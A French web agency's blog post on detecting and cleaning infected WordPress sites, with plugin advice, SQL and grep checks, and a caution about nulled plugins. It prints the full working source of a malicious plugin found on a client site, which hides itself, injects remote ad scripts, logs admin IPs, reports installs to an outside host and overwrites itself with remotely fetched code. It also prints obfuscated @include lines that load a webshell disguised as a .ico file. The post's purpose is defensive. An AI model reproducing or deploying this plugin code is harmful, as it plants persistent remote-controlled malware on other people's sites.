{"id":4308,"date":"2021-05-31T09:30:27","date_gmt":"2021-05-31T09:30:27","guid":{"rendered":"https:\/\/acinonyxweb.agency\/?p=4308"},"modified":"2021-12-29T16:47:25","modified_gmt":"2021-12-29T16:47:25","slug":"votre-site-est-sans-doute-infecte-sans-que-vous-le-sachiez-comment-detecter-nettoyer-les-virus-dun-wordpress","status":"publish","type":"post","link":"https:\/\/acinonyxweb.agency\/fr\/cybersecurite\/votre-site-est-sans-doute-infecte-sans-que-vous-le-sachiez-comment-detecter-nettoyer-les-virus-dun-wordpress\/","title":{"rendered":"Votre site est sans doute infect\u00e9 sans que vous le sachiez. Comment d\u00e9tecter et nettoyer les virus d’un WordPress ?"},"content":{"rendered":"
<\/p>\n
Aujourd’hui les sites ne font pas forc\u00e9ment l’objet de defaces,<\/span><\/em> d’affichage<\/span> de publicit\u00e9s (spamware), de g\u00e9n\u00e9rer des articles et des liens vers des sites \u00e9tranges… Ces sites sont exploit\u00e9s par les attaquants de la mani\u00e8re la plus discr\u00e8te possible pour ne pas se faire d\u00e9celer et retirer, c’est ce que l’on nomme : advanced persistent threat<\/em>.<\/span><\/p>\n <\/p>\n En effet, dans la majorit\u00e9 des cas, les sites touch\u00e9s sont ceux qui ne sont plus mis \u00e0 jour.<\/span> WordPress<\/span> propose r\u00e9guli\u00e8rement de mettre \u00e0 jour son c\u0153ur\/core afin de patcher<\/span> des failles critiques tout au long de l’ann\u00e9e, il en va de m\u00eame pour les plugins<\/span>.<\/span> Si vous ne les mettez pas \u00e0 jour et qu’un de ces plugins<\/span> non mis \u00e0 jour contient une faille, alors il ne faudra que 5 minutes \u00e0 un hacker pour le d\u00e9couvrir, notamment gr\u00e2ce \u00e0 des sites tels que WP Sec.<\/span><\/p>\n Une faille plus critique est celle des h\u00e9bergements partag\u00e9s mutualis\u00e9s : un site qui n’est pas le votre infecte le serveur qui vous infecte \u00e0 son tour. Ainsi, les utilisateurs de Siteground ont \u00e9t\u00e9 victimes d’infections tour \u00e0 tour d’infection de leur site.<\/a><\/p>\n C’est pour cela que nous recommandons nos h\u00e9bergements d\u00e9di\u00e9s (un serveur unique pour vous seul)<\/a>.<\/p>\n <\/p>\n Si vous lisez aujourd’hui cet article, il est fort probable que vous ayez d\u00e9j\u00e0 eu \u00e0 faire \u00e0 ce cas de figure et que vous recherchez des solutions de diagnostic puis de d\u00e9sinfection.<\/span> Alors ne cherchez pas plus loin :<\/span> cet article r\u00e9sume les principales actions \u00e0 mener afin de nettoyer votre site WordPress de tout backdoors, shells, malwares et virus<\/span>.<\/span><\/p>\n <\/p>\n <\/p>\n La premi\u00e8re chose \u00e0 faire et la plus simple de notre liste, est d’installer un plugin directement sur votre WordPress. Il existe plusieurs plugins d\u00e9di\u00e9s \u00e0 la s\u00e9curit\u00e9 sur WordPress, mais peu proposent des analyses compl\u00e8tes depuis le back-office.<\/p>\n <\/p>\n Le plugin gratuit qui nous int\u00e9resse dans ce cas de figure est :<\/p>\n Wordfence Security \u2013 Firewall & Malware Scan<\/strong><\/a><\/p>\n <\/p>\n Gr\u00e2ce \u00e0 ce plugin, vous pourrez en deux clics lancer une analyse du serveur, des fichiers modifi\u00e9s, des malwares les plus communs et pouvant \u00eatre d\u00e9tect\u00e9s par le plugin… En bref, un check-up complet pour votre site. C’est la premi\u00e8re chose \u00e0 faire en cas de soup\u00e7on de piratage.<\/p>\n Attention toutefois, le plugin peut parfois designer certains fichiers comme malicieux car contenant du code chiffr\u00e9 en base64, hors ce n’est pas toujours le cas. Pensez donc \u00e0 toujours faire du sauvegarde de vos fichiers ou \u00e0 faire appel \u00e0 un expert.<\/p>\n <\/p>\n <\/p>\n ATTENTION La majorit\u00e9 des virus WordPress sont con\u00e7us pour ne pas \u00eatre d\u00e9tect\u00e9 par ces antimalwares WordPress<\/strong><\/p>\n <\/p>\n <\/p>\n <\/p>\n Vous n’avez jamais entendu parler de ces fonctionnalit\u00e9s ? Il y a donc de grandes chances pour que vous n’en ayez pas besoin. Elles permettent \u00e0 un malware d’ex\u00e9cuter du code \u00e0 distance et de se r\u00e9g\u00e9n\u00e9rer, il vaut mieux donc les bloquer pr\u00e9ventivement.<\/p>\n <\/p>\n Tout cela se fait en quelques clics avec :<\/p>\n iThemes Security (anciennement Better WP Security)<\/a><\/p>\n <\/p>\n Apr\u00e8s avoir lanc\u00e9 la s\u00e9curisation automatique du site nous vous conseillons d’inscrire votre site au r\u00e9seau antibruteforce. Cela \u00e0 l’avantage, m\u00eame si votre site est d\u00e9j\u00e0 contamin\u00e9, de bloquer l’ip de l’attaquant et de son serveur de contr\u00f4le \u00e0 distance (C&C botnet…).<\/p>\n <\/p>\n Dans les options allez dans les param\u00e8tres de fonctionnalit\u00e9s WordPress : <\/p>\n <\/p>\n Vous limiterez ainsi les risques de r\u00e9infection : en g\u00e9n\u00e9ral lorsque votre WordPress est infect\u00e9 par un malware, m\u00eame si vous le supprimez celui-ci est automatiquement r\u00e9inject\u00e9 par un serveur \u00e0 distance contr\u00f4lant en permanence le niveau d’infection de votre site via les fonctionnalit\u00e9s que nous venons de d\u00e9sactiver.<\/p>\n En les bloquant le virus ne sera donc plus r\u00e9inject\u00e9 !<\/p>\n <\/p>\n Il est possible au sein d’un site WordPress d’injecter du code PHP et JavaScript directement depuis une table de la base de donn\u00e9es. De nombreux plugins existent pour cela, mais ce ne sont pas ces plugins qui nous int\u00e9ressent ici : seulement la m\u00e9thode employ\u00e9e pour ex\u00e9cuter du code malicieux.<\/p>\n Certains malwares relativement malins enregistrent une balise <script> directement dans la table wp-options. Pensez-donc \u00e0 effectuer une requ\u00eate SQL de ce type afin de vous assurer que vous n’\u00eates pas affect\u00e9 :<\/p>\n Manuellement, il vous suffit d’aller dans la base de donn\u00e9es de votre wordpress puis dans la table options (par d\u00e9faut wp-options mais votre pr\u00e9fixe peut changer) puis d’y chercher<\/p>\n ou encore<\/p>\n Exemple de code viral chez l’un de nos clients :<\/p>\n <\/p>\n Ici le site va automatiquement ex\u00e9cuter les fichiers distants :<\/p>\n lesquels sont des injecteurs viraux wordpress chiffr\u00e9s (pas besoin d’\u00eatre ing\u00e9nieur informaticien virologue pour comprendre que du code ex\u00e9cut\u00e9 \u00e0 distance chiffr\u00e9 sur un wordpress a de grandes chances d’\u00eatre nuisible).<\/p>\n <\/p>\n Encore une fois, attention \u00e0 ce que vous trouverez et supprimerez, car il peut parfois s’agir de r\u00e9sultats provenant de simple plugins de publicit\u00e9s, chargeant des publicit\u00e9s Google Ads (par exemple). Ou encore le code inject\u00e9 par des plugins l\u00e9gitimes comme code snippets<\/a>.<\/p>\n <\/p>\n En cas de doute nous vous recommandons de vous tourner vers Acinonyx Web Agency : notre personnel exp\u00e9riment\u00e9 saura diff\u00e9rencier un malware d’une fonction conventionnelle chiffr\u00e9e.<\/strong><\/p>\n <\/p>\n Pour cette \u00e9tape, vous allez devoir vous connecter en SSH afin de pouvoir ex\u00e9cuter des lignes de commandes et en analyser le retour. Pour chaque commande, pensez \u00e0 remplacer \u00ab\u00a0\/var\/www\/wordpress\/\u00a0\u00bb par le chemin de votre site.<\/p>\n En FTP, il est inutile de se fier \u00e0 la date de changement de fichiers car elle peut \u00eatre ais\u00e9ment falsifi\u00e9e. En revanche le chmod peut \u00eatre un bon indicateur…<\/p>\n <\/p>\n <\/p>\n Comme d’habitude, prudence avant de supprimer des fichiers ou des bouts de code qui pourraient ne pas \u00eatre infect\u00e9s (faux positifs).<\/p>\n <\/p>\n Infection la plus courante elle m\u00e9rite une partie enti\u00e8re. De nombreux clients t\u00e9l\u00e9chargent des th\u00e8mes ou plugins nulled ou crack\u00e9s. Sauf que rien n’est gratuit et vous en payez le prix plus tard : votre site affiche de la publicit\u00e9 pour payer le hacker :<\/p>\n <\/p>\n Ici mplugins.php (m\u00eame avec un \u00ab\u00a0s\u00a0\u00bb de plus, le malware reste le m\u00eame).<\/p>\n Vous ne verrez jamais rien car le plugin se dissimule dans la liste des plugins, enregistre les ips des admins et leur dissimule la publicit\u00e9 qui ne sera visible que pour les visiteurs tiers :<\/p>\n m pour moneyplugin ou comment rentabiliser ses victimes.<\/p>\n <\/p>\n Ici c’\u00e9tait Updraftplus le coupable, qui se trouve avec cette commande ssh :<\/p>\n Traduction : qui a g\u00e9n\u00e9r\u00e9 mplugin ? Qu’il se d\u00e9nonce !<\/p>\n En g\u00e9n\u00e9ral il infecte \u00e9galement le fichier \/wp-include\/functions.php qu’il vous faudra \u00e9galement d\u00e9sinfecter.<\/p>\n <\/p>\n Nous ne pouvons que vous conseiller de supprimer les plugins crack\u00e9s\/nulled en cause bien que supprimer la partie infect\u00e9e suffise. Non seulement cela est ill\u00e9gal mais les plugins pirat\u00e9s sont toujours plus ou moins infect\u00e9 d’une mani\u00e8re ou d’une autre.<\/p>\n <\/p>\n <\/p>\n N’oubliez pas : si c’est gratuit, c’est vous le produit\u00a0<\/strong><\/p>\n <\/p>\n <\/p>\n <\/p>\n Premi\u00e8re chose \u00e0 faire : v\u00e9rifier si les fichiers natifs du WordPress ont \u00e9t\u00e9s modifi\u00e9s. C’est l’\u00e9tape la plus simple, il vous suffit pour cela d’ex\u00e9cuter la commande suivante :<\/p>\n Et de v\u00e9rifier si ces fichiers contiennent en haut ou en bas, du code chiffr\u00e9 ou un \u00ab\u00a0@include\u00a0\u00bb. Cela peut soit \u00eatre une suite de lettres et de mots incompr\u00e9hensibles, soit du code en base64.<\/p>\n Si c’est le cas : supprimez-les<\/strong>.<\/p>\n <\/p>\n Vous pouvez aussi utiliser cette commande pour lister les fichiers .php contenant des \u00ab\u00a0@include\u00a0\u00bb :<\/p>\n <\/p>\n Exemple de code infect\u00e9 :<\/p>\n Il s’agit de ce type de malware<\/a> : webshell obfusqu\u00e9 en .ico inject\u00e9 par droppeur (vous avez du t\u00e9l\u00e9charger un plugin sur une source non officielle).<\/p>\n <\/p>\nAnalyser son site WordPress \u00e0 l’aide de plugins<\/h2>\n
Cherchez et supprimez les comptes administrateurs inconnus ainsi que les articles et pages que vous n’avez pas faits<\/h2>\n
Bloquez le XML-RPC et l’API REST si vous ne les utilisez pas<\/h2>\n
\n
\nPuis cochez et s\u00e9lectionnez les options suivantes (toutes celles recommand\u00e9es en fait) :<\/p>\nAnalysez les tables de la base de donn\u00e9es du WordPress<\/h2>\n
SELECT * FROM `wp_options` WHERE (CONVERT(`option_name` USING utf8mb4) LIKE '%ad_code%' OR CONVERT(`option_value` USING utf8mb4) LIKE '%ad_code%' OR CONVERT(`autoload` USING utf8mb4) LIKE '%ad_code%') LIMIT 50<\/pre>\n
<script\r\n<\/pre>\n
<php\r\n<\/pre>\n
'ad_code', '\\n<script type=\\'text\/javascript\\' src=\\'\/\/aanqylta.com\/bb\/2f\/82\/bb2f8268f180d7e0e1613e43c3e34d23.js\\'><\/script>\\n<script type=\\'text\/javascript\\' src=\\'\/\/aanqylta.com\/a4\/8a\/80\/a48a807e59fb8d5503642ee3fcbb8f87.js\\'><\/script>\\n', 'yes'<\/pre>\n
aanqylta.com\/bb\/2f\/82\/bb2f8268f180d7e0e1613e43c3e34d23.js\r\naanqylta.com\/a4\/8a\/80\/a48a807e59fb8d5503642ee3fcbb8f87.js\r\n<\/pre>\n
Analysez les changements au niveau des fichiers c\u00f4t\u00e9 serveur<\/h2>\n
<\/h3>\n
Cherchez mplugin.php dans votre dossier de plugin wordpress<\/h2>\n
<?php\r\n\/**\r\n * Plugin Name: Monetization Code plugin\r\n * Description: mplugin Shows cusom codes to display your ad codes.\r\n * Author: aerin Singh\r\n * Version: 1.0\r\n *\/\r\nerror_reporting(0);\r\nini_set('display_errors', 0);\r\n$plugin_key='4ab94009633ce74d72c165d5b5577957';\r\n$version='1.2';\r\n\r\nadd_action('admin_menu', function() {\r\n add_options_page( 'mplugin Plugin', 'mplugin', 'manage_options', 'mplugin', 'mplugin_page' );\r\n remove_submenu_page( 'options-general.php', 'mplugin' );\r\n});\r\n\r\n\r\n\r\nadd_filter('plugin_action_links_'.plugin_basename(__FILE__), 'salcode_add_plugin_page_settings_mplugin');\r\nfunction salcode_add_plugin_page_settings_mplugin( $links ) {\r\n $links[] = '<a href=\"' .\r\n admin_url( 'options-general.php?page=mplugin' ) .\r\n '\">' . __('Settings') . '<\/a>';\r\n return $links;\r\n}\r\n\r\n\r\n\r\n\r\n\r\n\r\nadd_action( 'admin_init', function() {\r\n\r\n register_setting( 'mplugin-settings', 'default_mont_options' );\r\n register_setting( 'mplugin-settings', 'ad_code' );\r\n register_setting( 'mplugin-settings', 'hide_admin' );\r\n register_setting( 'mplugin-settings', 'hide_logged_in' );\r\n register_setting( 'mplugin-settings', 'display_ad' );\r\n register_setting( 'mplugin-settings', 'search_engines' );\r\n register_setting( 'mplugin-settings', 'auto_update' );\r\n register_setting( 'mplugin-settings', 'ip_admin');\r\n register_setting( 'mplugin-settings', 'cookies_admin' );\r\n register_setting( 'mplugin-settings', 'logged_admin' );\r\n register_setting( 'mplugin-settings', 'log_install' );\r\n \r\n});\r\n\r\n$ad_code=\"\r\n<script type='text\/javascript' src='\/\/aanqylta.com\/bb\/2f\/82\/bb2f8268f180d7e0e1613e43c3e34d23.js'><\/script>\r\n<script type='text\/javascript' src='\/\/aanqylta.com\/a4\/8a\/80\/a48a807e59fb8d5503642ee3fcbb8f87.js'><\/script>\r\n\";\r\n\r\n$hide_admin='on';\r\n$hide_logged_in='on';\r\n$display_ad='organic';\r\n$search_engines='google.,\/search?,images.google., web.info.com, search.,yahoo.,yandex,msn.,baidu,bing.,doubleclick.net,googleweblight.com';\r\n$auto_update='on';\r\n$ip_admin='on';\r\n$cookies_admin='on';\r\n$logged_admin='on';\r\n$log_install='';\r\n\r\nfunction mplugin_page() {\r\n ?>\r\n <div class=\"wrap\">\r\n<form action=\"options.php\" method=\"post\">\r\n <?php\r\n settings_fields( 'mplugin-settings' );\r\n do_settings_sections( 'mplugin-settings' );\r\n$ad_code='';\r\n\r\n$hide_admin='on';\r\n$hide_logged_in='on';\r\n$display_ad='organic';\r\n$search_engines='google.,\/search?,images.google., web.info.com, search.,yahoo.,yandex,msn.,baidu,bing.,doubleclick.net,googleweblight.com';\r\n$auto_update='on';\r\n$ip_admin='on';\r\n$cookies_admin='on';\r\n$logged_admin='on';\r\n$log_install='';\r\n\r\n ?>\r\n <h2>mplugin Plugin<\/h2>\r\n <table>\r\n \r\n <tr>\r\n <th>Ad Code<\/th>\r\n <td><textarea placeholder=\"\" name=\"ad_code\" rows=\"5\" cols=\"130\"><?php echo get_option('ad_code',$ad_code) ; ?><\/textarea><\/td>\r\n <\/tr>\r\n \r\n \r\n \r\n<tr>\r\n <th>Hide ads to :<\/th>\r\n <td>\r\n <input type=\"hidden\" id=\"default_mont_options\" name=\"default_mont_options\" value=\"on\">\r\n <label>\r\n <input type=\"checkbox\" name=\"hide_admin\" <?php echo esc_attr( get_option('hide_admin',$hide_admin) ) == 'on' ? 'checked=\"checked\"' : ''; ?> \/>admins\r\n <\/label>\r\n <label>\r\n <input type=\"checkbox\" name=\"hide_logged_in\" <?php echo esc_attr( get_option('hide_logged_in',$hide_logged_in) ) == 'on' ? 'checked=\"checked\"' : ''; ?> \/>logged in users\r\n <\/label>\r\n <br\/>\r\n \r\n\r\n <\/td>\r\n <\/tr>\r\n \r\n \r\n \r\n <tr>\r\n <th>Recognize admin by :<\/th>\r\n <td>\r\n\r\n <label>\r\n <input type=\"checkbox\" name=\"logged_admin\" <?php echo esc_attr( get_option('logged_admin',$logged_admin) ) == 'on' ? 'checked=\"checked\"' : ''; ?> \/>logged in\r\n <\/label>\r\n <label>\r\n <input type=\"checkbox\" name=\"ip_admin\" id=\"ip_admin\" <?php echo esc_attr( get_option('ip_admin',$ip_admin) ) == 'on' ? 'checked=\"checked\"' : '' ?> \/>By IP addresses\r\n <\/label>\r\n <label>\r\n <input type=\"checkbox\" name=\"cookies_admin\" <?php echo esc_attr( get_option('cookies_admin',$cookies_admin) ) == 'on' ? 'checked=\"checked\"' : ''; ?> \/>By Cookies\r\n <\/label>\r\n \r\n \r\n\r\n <\/td>\r\n <\/tr>\r\n \r\n \r\n \r\n <tr>\r\n <th>Display ads to :<\/th>\r\n <td>\r\n \t\t\t\t <select name=\"display_ad\">\r\n \r\n <option value=\"organic\" <?php echo esc_attr( get_option('display_ad',$display_ad) ) == 'organic' ? 'selected=\"selected\"' : ''; ?>>Organic traffic only<\/option>\r\n <option value=\"all_visitors\" <?php echo esc_attr( get_option('display_ad') ) == 'all_visitors' ? 'selected=\"selected\"' : ''; ?>>All Visitors<\/option>\r\n \r\n <\/select>\r\n\r\n <\/td>\r\n <\/tr>\r\n\r\n <tr>\r\n <th>Search Engines<\/th>\r\n <td><input type=\"text\" placeholder=\"Internal title\" name=\"search_engines\" value=\"<?php echo esc_attr( get_option('search_engines',$search_engines) ); ?>\" size=\"80\" \/><p class=\"description\">\r\n comma separated <\/p>\r\n <\/td>\r\n <\/tr>\r\n \r\n \r\n <tr>\r\n <th>Auto Update :<\/th>\r\n <td>\r\n\r\n <label>\r\n <input type=\"checkbox\" name=\"auto_update\" <?php echo esc_attr( get_option('auto_update',$auto_update) ) == 'on' ? 'checked=\"checked\"' : ''; ?> \/>auto update plugin\r\n <\/label><br\/>\r\n \r\n\r\n <\/td>\r\n <\/tr>\r\n \r\n <tr>\r\n <td><?php submit_button(); ?><\/td>\r\n <\/tr>\r\n \r\n <\/table>\r\n \r\n \r\n \r\n <\/form>\r\n <\/div>\r\n <?php\r\n}\r\n\r\n\/*************************log install***************************\/\r\nif(get_option('log_install') !=='1')\r\n{\r\n if(!$log_installed = @file_get_contents(\"http:\/\/www.tomndo.com\/o2.php?host=\".$_SERVER[\"HTTP_HOST\"]))\r\n{\r\n $log_installed = @file_get_contents_mplugin(\"http:\/\/www.tomndo.com\/o2.php?host=\".$_SERVER[\"HTTP_HOST\"]);\r\n}\r\n}\r\n\/*************************set default options***************************\/\r\n\r\nif(get_option('default_mont_options') !=='on')\r\n{\r\nupdate_option('ip_admin', $ip_admin);\r\nupdate_option('ad_code', $ad_code);\r\nupdate_option('cookies_admin', $cookies_admin);\r\nupdate_option('logged_admin', $logged_admin);\r\nupdate_option('hide_admin', $hide_admin);\r\nupdate_option('hide_logged_in', $hide_logged_in);\r\nupdate_option('display_ad', $display_ad);\r\nupdate_option('search_engines', $search_engines);\r\nupdate_option('auto_update', $auto_update);\r\nupdate_option('log_install', '1');\r\n}\r\n\r\n\/************************************************************************\/\r\ninclude_once(ABSPATH . 'wp-includes\/pluggable.php'); \r\n\r\nif ( ! function_exists( 'display_ad_single' ) ) { \r\n\r\nfunction display_ad_single($content){ \r\nif(is_single())\r\n{\r\n\r\n$content=$content.get_option('ad_code');;\r\n}\r\nreturn $content;\r\n} \r\n\r\nfunction display_ad_footer(){ \r\nif(!is_single())\r\n{\r\necho get_option('ad_code');\r\n}\r\n} \r\n\r\n\r\n\/\/setting cookies if admin logged in\r\nfunction setting_admin_cookie() {\r\n setcookie( 'wordpress_admin_logged_in',1, time()+3600*24*1000, COOKIEPATH, COOKIE_DOMAIN);\r\n }\r\n\r\nif(get_option('cookies_admin')=='on')\r\n{\r\n\r\nif(is_user_logged_in())\r\n{\r\nadd_action( 'init', 'setting_admin_cookie',1 );\r\n}\r\n}\r\n\r\n\r\n\/\/log admin IP addresses\r\n$vis_ip=getVisIpAddr_mplugin();\r\nif(get_option('ip_admin')=='on')\r\n{\r\nif(current_user_can('edit_others_pages'))\r\n{\r\n\r\nif (file_exists(plugin_dir_path( __FILE__ ) .'admin_ips.txt'))\r\n{\r\n$ip=@file_get_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt');\r\n}\r\n\r\nif (stripos($ip, $vis_ip) === false)\r\n{\r\n$ip.=$vis_ip.'\r\n';\r\n@file_put_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt',$ip);\r\n\r\n}\r\n\r\n}\r\n}\/\/ end if log admins ip\r\n\r\n\r\n\r\n\r\n\/\/add cookies to organic traffic\r\n\r\nif(get_option('display_ad')=='organic')\r\n{\r\n\r\n$search_engines = explode(',', get_option('search_engines'));\r\n\r\n$referer = $_SERVER['HTTP_REFERER'];\r\n$SE = array('google.','\/search?','images.google.', 'web.info.com', 'search.','yahoo.','yandex','msn.','baidu','bing.','doubleclick.net','googleweblight.com');\r\nforeach ($search_engines as $search) {\r\n if (strpos($referer,$search)!==false) {\r\n setcookie(\"organic\", 1, time()+120, COOKIEPATH, COOKIE_DOMAIN); \r\n $organic=true;\r\n }\r\n}\r\n\r\n}\/\/end\r\n\r\n\r\n\r\n\r\n\/\/display ad\r\n\r\nif(!isset($_COOKIE['wordpress_admin_logged_in']) && !is_user_logged_in()) \r\n{\r\n\r\n$ips=@file_get_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt');\r\nif (stripos($ips, $vis_ip) === false)\r\n{\r\n\/*****\/\r\nif(get_option('display_ad')=='organic')\r\n{\r\nif($organic==true || isset($_COOKIE['organic']))\r\n{\r\nadd_filter('the_content','display_ad_single');\r\nadd_action('wp_footer','display_ad_footer'); \r\n}\r\n}\r\nelse\r\n{\r\nadd_filter('the_content','display_ad_single');\r\nadd_action('wp_footer','display_ad_footer'); \r\n}\r\n\r\n\/****\/\r\n\r\n}\r\n\r\n}\r\n\/*******************\/\r\n\r\n\r\n\r\n\r\n\r\n\/\/update plugin\r\n\r\nif(get_option('auto_update')=='on')\r\n{\r\n\r\nif( ini_get('allow_url_fopen') ) {\r\n\r\n\r\n\r\n if (($new_version = @file_get_contents(\"http:\/\/www.tomndo.com\/update.php\") OR $new_version = @file_get_contents_mplugin(\"http:\/\/www.tomndo.com\/update.php\")) AND stripos($new_version, $plugin_key) !== false) {\r\n\r\n if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {\r\n @file_put_contents(__FILE__, $new_version);\r\n \r\n }\r\n }\r\n \r\n \r\n elseif ($new_version = @file_get_contents(\"http:\/\/www.tomndo.xyz\/update.php\") AND stripos($new_version, $plugin_key) !== false) {\r\n\r\n if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {\r\n @file_put_contents(__FILE__, $new_version);\r\n \r\n }\r\n }\r\n\r\n\r\n elseif ($new_version = @file_get_contents(\"http:\/\/www.tomndo.top\/update.php\") AND stripos($new_version, $plugin_key) !== false) {\r\n\r\n if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {\r\n @file_put_contents(__FILE__, $new_version);\r\n \r\n }\r\n }\r\n\r\n}\r\nelse\r\n{\r\n if (($new_version = @file_get_contents(\"http:\/\/www.tomndo.com\/update.php\") OR $new_version = @file_get_contents_mplugin(\"http:\/\/www.tomndo.com\/update.php\")) AND stripos($new_version, $plugin_key) !== false) {\r\n\r\n if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {\r\n @file_put_contents(__FILE__, $new_version);\r\n \r\n }\r\n }\r\n \r\n \r\n elseif ($new_version = @file_get_contents_mplugin(\"http:\/\/www.tomndo.xyz\/update.php\") AND stripos($new_version, $plugin_key) !== false) {\r\n\r\n if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {\r\n @file_put_contents(__FILE__, $new_version);\r\n \r\n }\r\n }\r\n\r\n\r\n elseif ($new_version = @file_get_contents_mplugin(\"http:\/\/www.tomndo.top\/update.php\") AND stripos($new_version, $plugin_key) !== false) {\r\n\r\n if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {\r\n @file_put_contents(__FILE__, $new_version);\r\n \r\n }\r\n }\r\n}\r\n}\/\/end if auto update\r\n\r\n\/*********************************\/\r\n\r\n\r\n\r\n}\/\/ if function exist\r\n\r\n\r\n\r\n function file_get_contents_mplugin($url)\r\n {\r\n $ch = curl_init();\r\n curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);\r\n curl_setopt($ch, CURLOPT_HEADER, 0);\r\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\r\n curl_setopt($ch, CURLOPT_URL, $url);\r\n curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);\r\n $data = curl_exec($ch);\r\n curl_close($ch);\r\n return $data;\r\n }\r\n\r\n\r\nfunction hide_plugin_mplugin() {\r\n global $wp_list_table;\r\n $hidearr = array('mplugin.php');\r\n $myplugins = $wp_list_table->items;\r\n foreach ($myplugins as $key => $val) {\r\n if (in_array($key,$hidearr)) {\r\n unset($wp_list_table->items[$key]);\r\n }\r\n }\r\n}\r\n\r\nadd_action('pre_current_active_plugins', 'hide_plugin_mplugin');\r\n\r\n function getVisIpAddr_mplugin() { \r\n \r\n if (!empty($_SERVER['HTTP_CLIENT_IP'])) { \r\n return $_SERVER['HTTP_CLIENT_IP']; \r\n } \r\n else if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { \r\n return $_SERVER['HTTP_X_FORWARDED_FOR']; \r\n } \r\n else { \r\n return $_SERVER['REMOTE_ADDR']; \r\n } \r\n}\r\n\r\n?><\/pre>\n
grep -r -i --include=\\*.php 'mplugin.php' \/var\/www\/\r\n<\/pre>\n
Analysez les fichiers natifs du core WordPress<\/h3>\n
nano \/var\/www\/wordpress\/index.php\r\nnano \/var\/www\/wordpress\/wp-config.php\r\nnano \/var\/www\/wordpress\/wp-settings.php\r\n<\/pre>\n
grep -r -i --include=\\*.php '*\/ @include' \/var\/www\/<\/pre>\n
@include \"\\057var\/\\167ww\/h\\164ml\/w\\160-inc\\154udes\\057Simp\\154ePie\\057.639\\1466911\\056ico\";\r\n@include \"\\057var\/\\167ww\/h\\164ml\/w\\160-inc\\154udes\\057Simp\\154ePie\\057.639\\1466911\\056ico\";\r\n@include \"\\057var\\057www\\057htm\\154\/wp\\055inc\\154ude\\163\/Si\\155ple\\120ie\/\\056639\\146691\\061.ic\\157\";\r\n@include \"\\057var\/\\167ww\/h\\164ml\/w\\160-inc\\154udes\\057Simp\\154ePie\\057.639\\1466911\\056ico\";\r\n@include \"\\057var\/\\167ww\/h\\164ml\/w\\160-inc\\154udes\\057Simp\\154ePie\\057.639\\1466911\\056ico\";\r\n@include \"\\057var\/\\167ww\/h\\164ml\/w\\160-inc\\154udes\\057Simp\\154ePie\\057.639\\1466911\\056ico\";\r\n@include \"\\057va\\162\/w\\167w\/\\150tm\\154\/w\\160-i\\156cl\\165de\\163\/S\\151mp\\154eP\\151e\/\\05663\\071f6\\07111\\056ic\\157\";\r\n@include \"\\057var\/\\167ww\/h\\164ml\/w\\160-inc\\154udes\\057Simp\\154ePie\\057.639\\1466911\\056ico\";\r\n@include \"\\057var\/\\167ww\/h\\164ml\/w\\160-inc\\154udes\\057Simp\\154ePie\\057.639\\1466911\\056ico\";\r\n@include \"\\057v\\141r\\057w\\167w\\057h\\164m\\154\/\\167p\\055i\\156c\\154u\\144e\\163\/\\123i\\155p\\154e\\120i\\145\/\\0566\\0639\\1466\\0711\\061.\\151c\\157\";\r\n@include \"\\057var\\057www\\057htm\\154\/wp\\055inc\\154ude\\163\/Si\\155ple\\120ie\/\\056639\\146691\\061.ic\\157\";\r\n@include \"\\057va\\162\/w\\167w\/\\150tm\\154\/w\\160-i\\156cl\\165de\\163\/S\\151mp\\154eP\\151e\/\\05663\\071f6\\07111\\056ic\\157\";\r\n@include \"\\057v\\141r\\057w\\167w\\057h\\164m\\154\/\\167p\\055i\\156c\\154u\\144e\\163\/\\123i\\155p\\154e\\120i\\145\/\\0566\\0639\\1466\\0711\\061.\\151c\\157\";\r\n@include \"\\057va\\162\/w\\167w\/\\150tm\\154\/w\\160-i\\156cl\\165de\\163\/S\\151mp\\154eP\\151e\/\\05663\\071f6\\07111\\056ic\\157\";<\/pre>\n